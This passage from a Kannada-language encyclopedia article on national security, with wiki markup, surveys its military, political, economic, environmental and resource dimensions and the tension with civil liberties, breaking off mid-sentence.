ಶಕ್ತಿಯ ನಿದರ್ಶನದಲ್ಲಿರುವಂತೆ, ಭದ್ರತೆಯ ಸೇನಾ ಭಾಗವು ರಾಷ್ಟ್ರೀಯ ಭದ್ರತೆಯ ಒಂದು ಪ್ರಮುಖವಾದ ಆದರೆ ಏಕಮಾತ್ರವಲ್ಲದ ಅಂಗಭಾಗವಾಗಿದೆ. ನಿಜವಾಗಿಯೂ ಸುರಕ್ಷಿತವಾಗಿರಬೇಕೆಂದರೆ, ರಾಷ್ಟ್ರವೊಂದಕ್ಕೆ ಭದ್ರತೆಯ ಇತರ ಸ್ವರೂಪಗಳ ಅಗತ್ಯವೂ ಕಂಡುಬರುತ್ತದೆ. ರಾಷ್ಟ್ರದ ಭದ್ರತಾ ಅಂಶಗಳಿಗೆ ಸಂಬಂಧಿಸಿದ ತಮ್ಮ ಆಯ್ಕೆಯಲ್ಲಿ ಅಧಿಕಾರ ವರ್ಗಗಳು ಅಥವಾ ವರ್ಚಸ್ಸುಗಳು ಭಿನ್ನತೆಯನ್ನು ತೋರುತ್ತವೆ. ಭದ್ರತೆಯ ಸೇನಾ ಭಾಗದ ಜೊತೆಗೆ, ರಾಜತಂತ್ರ ಅಥವಾ [[ರಾಜಕೀಯ]]; [[ಸಮಾಜ]]; ಪರಿಸರ; [[ಶಕ್ತಿ]] ಮತ್ತು ನೈಸರ್ಗಿಕ ಸಂಪನ್ಮೂಲಗಳು; ಮತ್ತು [[ಅರ್ಥಶಾಸ್ತ್ರ]]ದ ಭಾಗಗಳು ಅಥವಾ ಮಗ್ಗುಲುಗಳನ್ನು ಸಾಮಾನ್ಯವಾಗಿ ಪಟ್ಟಿಮಾಡಲಾಗುತ್ತದೆ. ರಾಷ್ಟ್ರೀಯ ಶಕ್ತಿಯ ಅಂಶಗಳ ಪರಿಕಲ್ಪನೆಯೊಂದಿಗೆ ರಾಷ್ಟ್ರೀಯ ಭದ್ರತೆಯ ಅಂಶಗಳು ನಿಕಟವಾಗಿ ಪರಸ್ಪರ ಸಂಬಂಧಿಸಿರುತ್ತವೆ. ಮಾದಕ ಒಕ್ಕೂಟಗಳಿಂದ ಬರುವ ಭದ್ರತೆ, ಆರ್ಥಿಕ ಭದ್ರತೆ, ಪರಿಸರೀಯ ಭದ್ರತೆ ಮತ್ತು ಶಕ್ತಿಯ ಭದ್ರತ ಇವುಗಳನ್ನು ರಾಷ್ಟ್ರೀಯ ಭದ್ರತೆಯ, ಸೇನೆಗೆ-ಸೇರಿರದ ಅಂಶಗಳಾಗಿ ರೋಮ್‌ (1993) ಪಟ್ಟಿಮಾಡುತ್ತಾನೆ.<ref name="Romm 1993"/>{{rp|v, 1-8}} === ಸೇನಾ ಭದ್ರತೆ === {{main|Military security}} ಸಾಂಪ್ರದಾಯಿಕವಾಗಿ ಹೇಳುವುದಾದರೆ, ಇದು ಅತ್ಯಂತ ಮುಂಚಿತವಾಗಿ ಗುರುತಿಸಲ್ಪಟ್ಟ ರಾಷ್ಟ್ರೀಯ ಭದ್ರತೆಯ ಸ್ವರೂಪವಾಗಿದೆ.<ref name="Paleri"/>{{rp|67}} ರಾಷ್ಟ್ರವೊಂದು ತನ್ನನ್ನು ತಾನು ರಕ್ಷಿಸಿಕೊಳ್ಳಲು ಮತ್ತು/ಅಥವಾ ಮತ್ತೊಂದು ಸೇನೆಯ ಅಪ್ರಚೋದಿತ ಆಕ್ರಮಣವನ್ನು ನಿರ್ಬಂಧಿಸಲು ಹೊಂದಿರುವ ಸಾಮರ್ಥ್ಯವನ್ನು ಸೇನಾ ಭದ್ರತೆಯು ಸೂಚಿಸುತ್ತದೆ. ಇದಕ್ಕೆ ಪರ್ಯಾಯವಾಗಿ, ಸೇನಾಪಡೆಯ ಬಳಕೆಯ ಮೂಲಕ ತನ್ನ ಕಾರ್ಯನೀತಿಯ ಆಯ್ಕೆಗಳನ್ನು ಜಾರಿಗೆ ತರಲು ರಾಷ್ಟ್ರವೊಂದು ಹೊಂದಿರುವ ಸಾಮರ್ಥ್ಯವನ್ನು ಸೇನಾ ಭದ್ರತೆಯು ಸೂಚಿಸುತ್ತದೆ. "ಸೇನಾ ಭದ್ರತೆ" ಎಂಬ ಶಬ್ದವು ಅದರ ಬಹುಪಾಲು ಬಳಕೆಯಲ್ಲಿ "ಭದ್ರತೆ" ಎಂಬ ಶಬ್ದದೊಂದಿಗೆ ಸಮಾನಾರ್ಥಕವಾಗಿ ಪರಿಗಣಿಸಲ್ಪಟ್ಟಿದೆ. ''ಡಿಕ್ಷ್‌ನರಿ ಆಫ್‌ ಮಿಲಿಟರಿ ಅಂಡ್‌ ಅಸೋಸಿಯೇಟೆಡ್‌ ಟರ್ಮ್ಸ್‌'' ಎಂಬ ಶಬ್ದಕೋಶದಲ್ಲಿ ನೀಡಲಾಗಿರುವ ಭದ್ರತೆಯ ವ್ಯಾಖ್ಯಾನಗಳ ಪೈಕಿ ಒಂದನ್ನು "ಸೇನಾ ಭದ್ರತೆ"ಯ ಒಂದು ವ್ಯಾಖ್ಯಾನವಾಗಿ ಪರಿಗಣಿಸಬಹುದಾಗಿದೆ:<ref>"ಡಿಕ್ಷ್‌ನರಿ ಆಫ್‌ ಮಿಲಿಟರಿ ಅಂಡ್‌ ಅಸೋಸಿಯೇಟೆಡ್‌ ಟರ್ಮ್ಸ್‌" ''ಇದರಲ್ಲಿರುವ'' "ಸೆಕ್ಯುರಿಟಿ", 2001 (2010ರ ಜುಲೈ 31ರಂದು ತಿದ್ದುಪಡಿ ಮಾಡಲಾದಂತೆ) ಪೂರ್ವೋಕ್ತ ಕೃತಿಯಲ್ಲಿ. ಪುಟ 477. 2010ರ ಸೆಪ್ಟೆಂಬರ್ 26ರಂದು ಸಂಪರ್ಕಿಸಲಾಯಿತು.</ref> {{quote|A condition that results from the establishment and maintenance of protective measures that ensure a state of inviolability from hostile acts or influences.|Dictionary of Military and Associated Terms}} === ರಾಜಕೀಯ ಭದ್ರತೆ === ಭದ್ರತೆಯ ರಾಜಕೀಯ ಭಾಗವನ್ನು ರಾಷ್ಟ್ರೀಯ ಭದ್ರತೆಯ ಒಂದು ಪ್ರಮುಖ ಅಂಗಭಾಗವಾಗಿ ಬ್ಯಾರಿ ಬುಜಾನ್‌, ಓಲೆ ವೇವರ್‌, ಜಾಪ್‌ ಡೆ ವೈಲ್ಡ್‌ ಮೊದಲಾದವರು ಪ್ರಸ್ತಾವಿಸಿದ್ದು, ಅವರ ಅನುಸಾರ ರಾಜಕೀಯ ಭದ್ರತೆ ಎಂಬುದು ಸಾಮಾಜಿಕ ವ್ಯವಸ್ಥೆಯ ಸ್ಥಿರತೆಯನ್ನು ಕುರಿತದ್ದಾಗಿದೆ. "ಸೆಕ್ಯುರಿಟಿ: ಎ ನ್ಯೂ ಫ್ರೇಮ್‌ವರ್ಕ್‌ ಫಾರ್‌ ಅನಾಲಿಸಿಸ್‌" ಎಂಬ ಅವರ ಪುಸ್ತಕದಲ್ಲಿ, ರಾಷ್ಟ್ರೀಯ ಭದ್ರತೆಗೆ ಸಂಬಂಧಿಸಿದ ಒಂದು ಚೌಕಟ್ಟಿನಲ್ಲಿ ಪ್ರಸ್ತಾವಿಸಲ್ಪಟ್ಟಿರುವ ಸೇನಾ ಭದ್ರತೆ ಮತ್ತು ಸಾಮಾಜಿಕ ಭದ್ರತೆ, ಇತರ ಅಂಗಭಾಗಗಳೊಂದಿಗೆ ಇದು ನಿಕಟವಾಗಿ ಒಟ್ಟುಗೂಡಿದ್ದು, ಸಾರ್ವಭೌಮತ್ವಕ್ಕೆ ಎದುರಾಗುವ ಬೆದರಿಕೆಗಳನ್ನು ನಿರ್ದಿಷ್ಟ ರೀತಿಯಲ್ಲಿ ನಿಭಾಯಿಸುತ್ತದೆ.<ref>{{cite book |title=Security: a new framework for analysis |last1= |first1= |last2= |first2= |last3= |first3= |authorlink= |coauthors= |year=1998 |publisher=Lynne Rienner Publishers |location= |isbn=9781555877842 |page= |pages=239 |url= |accessdate=27 September 2010}}</ref> ರಾಷ್ಟ್ರ-ಸಂಸ್ಥಾನಗಳು, ರಾಷ್ಟ್ರಗಳು, ಬುಡಕಟ್ಟುಗಳು, ಅಲ್ಪಸಂಖ್ಯಾತರು, ಕೆಲವೊಂದು ಧಾರ್ಮಿಕ ಸಂಘಟನೆಗಳನ್ನು ಒಳಗೊಂಡಂತೆ ಗಡಿಗಳಿಂದಾಚೆಗೆ ಹಬ್ಬಿದ ರಾಜಕೀಯ ಪ್ರಾಮುಖ್ಯತೆಯ ಸಮೂಹಗಳು, [[ಯುರೋಪಿನ ಒಕ್ಕೂಟ|ಐರೋಪ್ಯ ಒಕ್ಕೂಟ]] ಮತ್ತು [[ಸಂಯುಕ್ತ ರಾಷ್ಟ್ರ ಸಂಸ್ಥೆ|ವಿಶ್ವಸಂಸ್ಥೆ]]ಯಂಥ ರಾಷ್ಟ್ರಗಳ ವ್ಯವಸ್ಥೆಗಳ ಸ್ವರೂಪದಲ್ಲಿ ವ್ಯವಸ್ಥೆಯ ಸಂಕೇತಾರ್ಥ ವಿಷಯಗಳು ವ್ಯಾಖ್ಯಾನಿಸಲ್ಪಟ್ಟಿವೆ. ಸಂಕೇತಾರ್ಥದ ವಿಷಯಗಳ ನಡುವಿನ ಪರಸ್ಪರ ಪ್ರಭಾವದ ಸಾಧನವಾಗಿ ರಾಜತಂತ್ರ, ಸಂಧಾನ ಮತ್ತು ಇತರ ಪರಸ್ಪರ ಪ್ರಭಾವಗಳು ಪಾತ್ರವಹಿಸುತ್ತವೆ. === ಆರ್ಥಿಕ ಭದ್ರತೆ === {{main|Economic security (Politics)}} ಐತಿಹಾಸಿಕವಾಗಿ ಹೇಳುವುದಾದರೆ, ರಾಷ್ಟ್ರಗಳನ್ನು ಗೆಲ್ಲುವ/ವಶಪಡಿಸಿಕೊಳ್ಳುವ ಪರಿಪಾಠಗಳು ಗೆದ್ದವರನ್ನು ಲೂಟಿಯ ಮೂಲಕ ಶ್ರೀಮಂತರಾಗಿಸಿವೆ, ಹೊಸ ಸಂಪನ್ಮೂಲಗಳಿಗೆ ಪ್ರವೇಶಾವಕಾಶವನ್ನು ಕಲ್ಪಿಸಿವೆ ಮತ್ತು ಗೆಲ್ಲಲ್ಪಟ್ಟ ರಾಷ್ಟ್ರಗಳ ಆರ್ಥಿಕತೆಯನ್ನು ನಿಯಂತ್ರಿಸುವುದರ ಮೂಲಕ ವ್ಯಾಪಾರವು ವಿಸ್ತರಿಸಲ್ಪಡಲು ಕಾರಣವಾಗಿವೆ. ಬಹುರಾಷ್ಟ್ರೀಯ ಒಪ್ಪಂದಗಳು, ಪರಸ್ಪರ ಪರಸ್ಪರಾವಲಂಬನೆ ಮತ್ತು ನೈಸರ್ಗಿಕ ಸಂಪನ್ಮೂಲಗಳ ಲಭ್ಯತೆ ಇತ್ಯಾದಿಗಳಿಂದ ನಿರೂಪಿಸಲ್ಪಟ್ಟಿರುವ ಇಂದಿನ ಅಂತರರಾಷ್ಟ್ರೀಯ ವ್ಯಾಪಾರದ ಸಂಕೀರ್ಣ ವ್ಯವಸ್ಥೆಯಲ್ಲಿ, ಬಯಸಿದ ವಿಧಾನದಲ್ಲಿ ರಾಷ್ಟ್ರವೊಂದರ ಆರ್ಥಿಕತೆಯನ್ನು ಅಭಿವೃದ್ಧಿಪಡಿಸಲು ಕಾರ್ಯನೀತಿಗಳ ಆಯ್ಕೆಯನ್ನು ಅನುಸರಿಸುವುದಕ್ಕಿರುವ ಸ್ವಾತಂತ್ರ್ಯವು ಆರ್ಥಿಕ ಭದ್ರತೆಯ ಮೂಲತತ್ವ ಎನಿಸಿಕೊಳ್ಳುತ್ತದೆ. ವಾದಯೋಗ್ಯವಾಗಿ, ಇಂದು ಸೇನಾ ಭದ್ರತೆಯ ರೀತಿಯಲ್ಲಿಯೇ ಆರ್ಥಿಕ ಭದ್ರತೆಯು ರಾಷ್ಟ್ರೀಯ ಭದ್ರತೆಯ ಒಂದು ಪ್ರಮುಖ ಭಾಗ ಎನಿಸಿಕೊಂಡಿದೆ. === ಪರಿಸರೀಯ ಭದ್ರತೆ === {{main|Environmental security}} ರಾಷ್ಟ್ರವೊಂದರ ರಾಷ್ಟ್ರೀಯ ಭದ್ರತೆಗೆ ಯಾವುದೇ ರೀತಿಯಲ್ಲಿ ಬೆದರಿಕೆಯನ್ನೊಡ್ಡುವ ಪರಿಸರೀಯ ವಿವಾದಾಂಶಗಳೊಂದಿಗೆ ಪರಿಸರೀಯ ಭದ್ರತೆಯು ವ್ಯವಹರಿಸುತ್ತದೆ. ರಾಷ್ಟ್ರೀಯ ಭದ್ರತೆಗೆ ಒದಗಿಬರುವ ಪರಿಸರೀಯ ಬೆದರಿಕೆಗಳ ವ್ಯಾಪ್ತಿ ಮತ್ತು ಸ್ವರೂಪ ಹಾಗೂ ಅವುಗಳೊಂದಿಗೆ ಕದನದಲ್ಲಿ ತೊಡಗಲು ಬೇಕಿರುವ ಕಾರ್ಯತಂತ್ರಗಳು ಚರ್ಚಾವಿಷಯಗಳಾಗಿವೆ.<ref name="Romm 1993"/>{{rp|29-33}} ಎಲ್ಲಾ ಪರಿಸರೀಯ ಘಟನೆಗಳು ಬೆದರಿಕೆಗಳಾಗಿ ವರ್ಗೀಕರಿಸಲ್ಪಡುವಷ್ಟು ಗಮನಾರ್ಹವಾಗಿ ಪರಿಗಣಿಸಲ್ಪಟ್ಟಿಲ್ಲದಿರುವ ಸಂದರ್ಭದಲ್ಲೇ, ಜಾಗತಿಕವಾಗಿ ಮತ್ತು ಪ್ರಾದೇಶಿಕವಾಗಿ ಹೀಗೆ ಎರಡೂ ರೀತಿಗಳಲ್ಲಿ ರಾಷ್ಟ್ರದ ಗಡಿಗಳಿಂದಾಚೆಗೆ ಹಬ್ಬಿರುವ ವಿವಾದಾಂಶಗಳು ರಾಷ್ಟ್ರೀಯ ಭದ್ರತೆಯ ಮೇಲೆ ಪರಿಣಾಮ ಬೀರುತ್ತವೆ. ಇವನ್ನು ರೋಮ್‌ (1993) ಈ ರೀತಿಯಲ್ಲಿ ವರ್ಗೀಕರಿಸುತ್ತಾನೆ:<ref name="Romm 1993"/>{{rp|15}} * ''ವಿಶಾಲವಾಗಿ ವ್ಯಾಖ್ಯಾನಿಸಲ್ಪಟ್ಟ ಅದರ ಅರ್ಥದಲ್ಲಿ, ರಾಷ್ಟ್ರವೊಂದರ ಭದ್ರತೆಗೆ ಬೆದರಿಕೆಯನ್ನೊಡ್ಡುವ ರಾಷ್ಟ್ರದ ಗಡಿಗಳಿಂದಾಚೆಗೆ ಹಬ್ಬಿದ ಪರಿಸರೀಯ ಸಮಸ್ಯೆಗಳು.'' ಜಾಗತಿಕ ತಾಪಮಾನದಲ್ಲಿನ ಹೆಚ್ಚಳ, ಅರಣ್ಯನಾಶ ಮತ್ತು ಜೀವವೈವಿಧ್ಯತೆಯ ನಷ್ಟ ಇತ್ಯಾದಿಗಳ ಕಾರಣದಿಂದಾಗಿ ಉದ್ಭವಿಸುವ ವಾತಾವರಣದ ಬದಲಾವಣೆಯಂಥ ಜಾಗತಿಕ ಪರಿಸರೀಯ ಸಮಸ್ಯೆಗಳನ್ನು ಇವು ಒಳಗೊಳ್ಳುತ್ತವೆ.<ref name="Romm 1993"/>{{rp|15}} * ''ಸಾಂಪ್ರದಾಯಿಕವಾಗಿ ವ್ಯಾಖ್ಯಾನಿಸಲ್ಪಟ್ಟಿರುವ, ರಾಷ್ಟ್ರವೊಂದರ ಭದ್ರತೆಗೆ ಬೆದರಿಕೆಯನ್ನೊಡ್ಡುವ ಪರಿಸರೀಯ ಅಥವಾ ಸಂಪನ್ಮೂಲ ಸಮಸ್ಯೆಗಳು'' . ಇವು ಮೊದಲ ಅಥವಾ ಉನ್ನತ ದರ್ಜೆಯ ಫಲಿತಾಂಶಗಳಾಗಿ ರಾಷ್ಟ್ರೀಯ ಭದ್ರತೆಗೆ ಒಡ್ಡಲ್ಪಡುವ ಸಾಂಪ್ರದಾಯಿಕ ಬೆದರಿಕೆಗಳನ್ನು ಉಂಟುಮಾಡುವ ಫಲಿತಾಂಶಗಳನ್ನು ಹೊಂದಿರುವ ಸಮಸ್ಯೆಗಳಾಗಿರುತ್ತವೆ. [[ಮಧ್ಯ ಪ್ರಾಚ್ಯ|ಮಧ್ಯಪ್ರಾಚ್ಯ]]ದಲ್ಲಿ ಕಂಡುಬರುವ ನೀರಿನ ಕೊರತೆಯ ಮೇಲಿನ ವಿವಾದಗಳಿಂದಾಗಿ ತೀವ್ರಗೊಳಿಸಲ್ಪಟ್ಟ ಬಿಕ್ಕಟ್ಟು ಅಥವಾ ಸ್ಪಷ್ಟವಾದ ಘರ್ಷಣೆಯಿಂದ ಮೊದಲ್ಗೊಂಡು [[ಮೆಕ್ಸಿಕೋ]]ದಲ್ಲಿನ<ref name="Romm 1993"/>{{rp|15}} ವ್ಯವಸಾಯದ ವೈಫಲ್ಯದಿಂದಾಗಿ ಉಂಟಾದ ಅಮೆರಿಕಾ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದೆಡೆಗಿನ ಅಕ್ರಮ ವಲಸೆಯವರೆಗೆ ಇಂಥ ವಿವಾದಗಳ ವ್ಯಾಪಕಶ್ರೇಣಿಯಿರುತ್ತದೆ. ಜನಸಂಖ್ಯೆಯಲ್ಲಿನ ಹೆಚ್ಚಳ ಮತ್ತು ಕೃಷಿಭೂಮಿಯ ಲಭ್ಯತೆಯು ಕ್ಷೀಣಿಸುತ್ತಿರುವುದರಿಂದಾಗಿ [[ರ್ವಾಂಡ|ರುವಾಂಡಾ]]ದಲ್ಲಿ ಪರೋಕ್ಷವಾಗಿ ಅಥವಾ ಭಾಗಶಃವಾಗಿ ಕಂಡುಬಂದ ಜನಹತ್ಯೆಯು, ಪರಿಸರೀಯ ಭದ್ರತೆಯ ಸಮಸ್ಯೆಗಳಿಂದ ಹುಟ್ಟುವ ಫಲಿತಾಂಶದ ಒಂದು ಪರಮಾವಧಿಯ ಉದಾಹರಣೆಯಾಗಿದೆ.<ref>{{cite web |url=http://www.ditext.com/diamond/10.html |title=Malthus in Africa: Rwanda's Genocide |author=Diamond, Jared |authorlink=Jared Diamond|date= |work= |publisher= |accessdate=26 September 2010}}</ref> * ''ಪರಿಸರೀಯವಾಗಿ ಬೆದರಿಕೆಯನ್ನೊಡ್ಡುವ ಯುದ್ಧಸ್ಥಿತಿಯ ಫಲಿತಾಂಶಗಳು'' , ಉದಾಹರಣೆಗೆ, ಕಾರ್ಥೇಜ್‌‌ನ ಹೊಲಗಳ ಮೇಲೆ ಉಪ್ಪನ್ನು ಸುರಿಯುವ ಮೂಲಕ ರೋಮನ್ನರು ಅವನ್ನು ನಾಶಪಡಿಸಿದರು; ಕೊಲ್ಲಿ ಯುದ್ಧದಲ್ಲಿ<ref name="Romm 1993"/>{{rp|15-16}} ಸದ್ದಾಂ ಹುಸೇನ್ ತೈಲಬಾವಿಗಳನ್ನು ಸುಟ್ಟ; ವಿಯೆಟ್ನಾಂ ಯುದ್ಧದಲ್ಲಿ ಸೇನಾ ಉದ್ದೇಶಗಳಿಗಾಗಿ ಅರಣ್ಯಗಳ ಎಲೆಗಳನ್ನು ಉದುರಿಸುವುದಕ್ಕೋಸ್ಕರ USA ಏಜೆಂಟ್‌ ಆರೇಂಜ್‌‌ನ್ನು ಬಳಕೆಮಾಡಿಕೊಂಡಿತು. === ಶಕ್ತಿ ಮತ್ತು ನೈಸರ್ಗಿಕ ಸಂಪನ್ಮೂಲಗಳ ಭದ್ರತೆ === ಸಂಪನ್ಮೂಲವೊಂದು ಈ ರೀತಿಯಲ್ಲಿ ವ್ಯಾಖ್ಯಾನಿಸಲ್ಪಟ್ಟಿದೆ:<ref name="Paleri"/>{{rp|179}} {{quote|"...a support inventory... [[Biotic component|biotic]] or [[abiotic]], [[renewable resources|renewable]] or [[fossil fuel|expendable]],... for sustaining life at a heightened level of well-being."|Prabhakaran Paleri (2008)}} "ಸಂಪನ್ಮೂಲ ಎಂಬುದು ಚೆನ್ನಾಗಿರುವುದರ ಸ್ಥಿತಿಯಲ್ಲಿನ ಒಂದು ಉನ್ನತಮಟ್ಟದ ಜೀವನವನ್ನು ಕಾಯ್ದುಕೊಂಡು ಹೋಗುವುದಕ್ಕಾಗಿ ಮೀಸಲಾದ ಒಂದು ಆಧಾರಸ್ವರೂಪದ ಸರಕು ಸಂಗ್ರಹ; ಇದು ಜೈವಿಕ, ಅಜೈವಿಕ, ನವೀಕರಿಸಬಹುದಾದ ಅಥವಾ ಬಳಸಿ ಮುಗಿಸಿಬಿಡಬಹುದಾದ ಸ್ವರೂಪಗಳಲ್ಲಿ ಇರಬಹುದು." - ಪ್ರಭಾಕರನ್‌ ಪಲೇರಿ (2008) ಸಂಪನ್ಮೂಲಗಳಲ್ಲಿ [[ನೀರು]], [[ಶಕ್ತಿ]]ಯ ಮೂಲಗಳು, ಭೂಮಿ ಮತ್ತು ಖನಿಜಗಳು ಸೇರಿವೆ. ರಾಷ್ಟ್ರವೊಂದು ತನ್ನ ಉದ್ಯಮ ಮತ್ತು ಆರ್ಥಿಕ ಶಕ್ತಿಯನ್ನು ಅಭಿವೃದ್ಧಿಪಡಿಸಿಕೊಳ್ಳುವುದಕ್ಕಾಗಿ, ಸಾಕಷ್ಟಿರುವ ನೈಸರ್ಗಿಕ ಸಂಪನ್ಮೂಲಗಳ ಲಭ್ಯತೆಯು ಒಂದು ಪ್ರಮುಖ ಅಂಶವಾಗಿ ಪರಿಣಮಿಸುತ್ತದೆ. ಸಂಪನ್ಮೂಲಗಳ ಕೊರತೆಯು [[ಜಪಾನ್|ಜಪಾನ್‌‌]]ನಂಥ ರಾಷ್ಟ್ರಕ್ಕೆ ತನ್ನ ರಾಷ್ಟ್ರೀಯ ಶಕ್ತಿಯನ್ನು ಹೆಚ್ಚಿಸಿಕೊಳ್ಳುವಲ್ಲಿ ಮೇಲುಗೈ ಪಡೆಯುವುದಕ್ಕಿರುವ ಒಂದು ಗಂಭೀರ ಸ್ವರೂಪದ ಸವಾಲು ಎನಿಸಿಕೊಳ್ಳುತ್ತದೆ. ಆರ್ಥಿಕ ವಿವಾದಾಂಶಗಳ ಕುರಿತಾಗಿ [[೧೯೯೦|1990]]ರಲ್ಲಿ ನಡೆದ ಕೊಲ್ಲಿ ಯುದ್ಧದಲ್ಲಿ, [[ಕುವೈತ್|ಕುವೈತ್‌‌]]ನ ತೈಲಬಾವಿಗಳನ್ನು ಸ್ವಾಧೀಪಡಿಸಿಕೊಳ್ಳುವ ಸಲುವಾಗಿ [[ಇರಾಕ್|ಇರಾಕ್‌]] ಕುವೈತ್‌‌ನ್ನು ವಶಪಡಿಸಿಕೊಂಡಿದ್ದು ಇತರ ಕಾರಣಗಳಲ್ಲಿ ಸೇರಿತ್ತು. ಅನೇಕ ರಾಷ್ಟ್ರಗಳ ನಡುವೆ ನಡೆಯುವ ವಿವಾದಗಳಿಗೆ ಜಲ ಸಂಪನ್ಮೂಲಗಳು ವಸ್ತು-ವಿಷಯವಾಗಿ ಪರಿಣಮಿಸಿವೆ; [[ಭಾರತ]] ಮತ್ತು [[ಪಾಕಿಸ್ತಾನ]]ದಂಥ ಎರಡು ಪರಮಾಣು ಶಕ್ತಿರಾಷ್ಟ್ರಗಳ ನಡುವಿನ ವಿವಾದ ಇದಕ್ಕೊಂದು ನಿದರ್ಶನ. ಅಗತ್ಯವಿರುವ ಸಂಪನ್ಮೂಲಗಳನ್ನು ಬಲವಂತವಾಗಿ, ಸಂಧಾನದಿಂದ ಮತ್ತು ವಾಣಿಜ್ಯ ವಿಧಾನದಿಂದ ಗಳಿಸುವ ಮೂಲಕ, ಶಕ್ತಿ ಮತ್ತು ನೈಸರ್ಗಿಕ ಸಂಪನ್ಮೂಲದ ಭದ್ರತೆಯನ್ನು ಪಡೆಯಲು ರಾಷ್ಟ್ರಗಳು ಪ್ರಯತ್ನಮಾಡುತ್ತವೆ. == ರಾಷ್ಟ್ರೀಯ ಭದ್ರತೆ ಮತ್ತು ಹಕ್ಕುಗಳು ಹಾಗೂ ಸ್ವಾತಂತ್ರ್ಯಗಳು == ಸಮಾಜಕ್ಕಿರುವ ಬೆದರಿಕೆಗಳಿಗೆ ಅಭಿಮುಖವಾಗಿರುವ ರಾಷ್ಟ್ರೀಯ ಭದ್ರತೆಯನ್ನು ಕಾಯ್ದುಕೊಂಡು ಹೋಗುವುದಕ್ಕೆ ಅಳವಡಿಸಿಕೊಳ್ಳಲಾಗಿರುವ ಕ್ರಮಗಳು, ಮುಂದುವರೆಯುತ್ತಿರುವ ತಾತ್ತ್ವಿಕ ಚರ್ಚೆಗಳಿಗೆ ಕಾರಣವಾಗಿವೆ; ನಿರ್ದಿಷ್ಟವಾಗಿ ಹೇಳುವುದಾದರೆ, ಉದಾರ ಪ್ರಜಾಪ್ರಭುತ್ವಗಳಲ್ಲಿ ನಾಗರಿಕ ಮತ್ತು ಮಾನವ ಹಕ್ಕುಗಳ ವಿಷಯಗಳಲ್ಲಿನ ಅಧಿಕಾರ ವರ್ಗದ ಯೋಗ್ಯ ಪ್ರಮಾಣ ಮತ್ತು ಪಾತ್ರದ ಕುರಿತು ಈ ಚರ್ಚೆಗಳು ನಡೆಯುತ್ತಿವೆ. ರಾಷ್ಟ್ರದ ಸಂರಕ್ಷಣೆ (ಸ್ವಯಮಾಧಿಕಾರ ಮತ್ತು ಸಾರ್ವಭೌಮತ್ವವನ್ನು ಕಾಯ್ದುಕೊಂಡು ಹೋಗುವ ಮೂಲಕ) ಹಾಗೂ ವ್ಯಕ್ತಿಗಳ ಹಕ್ಕುಗಳು ಮತ್ತು ಸ್ವಾತಂತ್ರ್ಯಗಳ ಸಂರಕ್ಷಣೆಯ ನಡುವೆ ಬಿಕ್ಕಟ್ಟು ಕಂಡುಬರುತ್ತದೆ. ಸಮಾಜವನ್ನು ಒಟ್ಟಾರೆಯಾಗಿ ಸಂರಕ್ಷಿಸಲೆಂದು ರಾಷ್ಟ್ರೀಯ ಭದ್ರತಾ ಕ್ರಮಗಳನ್ನು ವಿಧಿಸಲಾಗುತ್ತದೆಯಾದರೂ, ಇಂಥ ಅನೇಕ ಕ್ರಮಗಳು ಸಮಾಜದಲ್ಲಿನ ಎಲ್ಲಾ ವ್ಯಕ್ತಿಗಳ ಹಕ್ಕುಗಳು ಮತ್ತು ಸ್ವಾತಂತ್ರ್ಯಗಳನ್ನು ನಿರ್ಬಂಧಿಸುತ್ತವೆ. ಎಲ್ಲಿ ರಾಷ್ಟ್ರೀಯ ಭದ್ರತಾ ಕಾನೂನುಗಳ ಅನುಷ್ಠಾನವು ಉತ್ತಮ ಆಡಳಿತ, ಕಾನೂನಿನ ಪ್ರಭುತ್ವ, ಮತ್ತು ಕಟ್ಟುನಿಟ್ಟಾದ ಇತಿಮಿತಿಗಳಿಗೆ ಒಳಪಟ್ಟಿಲ್ಲವೋ, ಅಲ್ಲಿ ಪ್ರತಿಕೂಲವಾದ ರಾಜಕೀಯ ಮತ್ತು ಸಾಮಾಜಿಕ ಅಭಿಪ್ರಾಯಗಳನ್ನು ದಮನಮಾಡುವುದಕ್ಕಾಗಿರುವ ಕೇವಲ ಒಂದು ಸಬೂಬಿನ ಪಾತ್ರವನ್ನಷ್ಟೇ "ರಾಷ್ಟ್ರೀಯ ಭದ್ರತೆ"ಯು ವಹಿಸಬೇಕಾಗುವ ಒಂದು ಅಪಾಯವಿರುತ್ತದೆ. ಅದರ ತಾರ್ಕಿಕ ತೀರ್ಮಾನವನ್ನು ಪರಿಗಣಿಸಿದರೆ, ಕೇವಲ ಒಂದು ರಾಷ್ಟ್ರೀಯ ಭದ್ರತೆಯ ಉದ್ದೇಶವನ್ನಷ್ಟೇ ಕೇವಲ ತೋರಿಕೆಗಾಗಿ ನಿರ್ವಹಿಸುವ ಕ್ರಮಗಳು (ಸಾಮೂಹಿಕ ನಿಗಾವಣೆ, ಮತ್ತು ಸಮೂಹ ಮಾಧ್ಯಮಗಳ ಮೇಲೆ ಕತ್ತರಿ ಪ್ರಯೋಗ ಮಾಡುವುದು ಇಂಥವು), ಅಂತಿಮವಾಗಿ ಆರ್ವೇಲಿಯ ಒಂದು ಕಾಲ್ಪನಿಕ ನರಕದಂಥ ಸ್ಥಿತಿಗೆ ಕಾರಣವಾಗಬಹುದು ಎಂಬುದನ್ನು ಈ ಅಭಿಪ್ರಾಯವು ಒತ್ತಿಹೇಳುತ್ತದೆ. ಅಮೆರಿಕಾ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದಲ್ಲಿ ರಾಜಕೀಯವಾಗಿ ವಿವಾದಾತ್ಮಕವಾಗಿರುವ USA ದೇಶಭಕ್ತ ಕಾಯಿದೆ ಹಾಗೂ ಇತರ ಸರ್ಕಾರಿ ಕ್ರಮಗಳು ಎರಡು ಮುಖ್ಯ ಪ್ರಶ್ನೆಗಳನ್ನು ಎತ್ತುವ ಮೂಲಕ ಇಂಥ ಕೆಲವೊಂದು ವಿವಾದಾಂಶಗಳನ್ನು ನಾಗರಿಕರ ಗಮನಕ್ಕೆ ತಂದಿವೆ: ರಾಷ್ಟ್ರೀಯ ಭದ್ರತೆಯ ಸಲುವಾಗಿ ಎಲ್ಲಿಯವರೆಗೆ ವೈಯಕ್ತಿಕ ಹಕ್ಕುಗಳು ಮತ್ತು ಸ್ವಾತಂತ್ರ್ಯಗಳು ನಿರ್ಬಂಧಿಸಲ್ಪಡಬೇಕು? ''ಮತ್ತು'' ರಾಷ್ಟ್ರೀಯ ಭದ್ರತೆಯ ಸಲುವಾಗಿ ನಾಗರಿಕ ಹಕ್ಕುಗಳಿಗೆ ನಿರ್ಬಂಧವನ್ನು 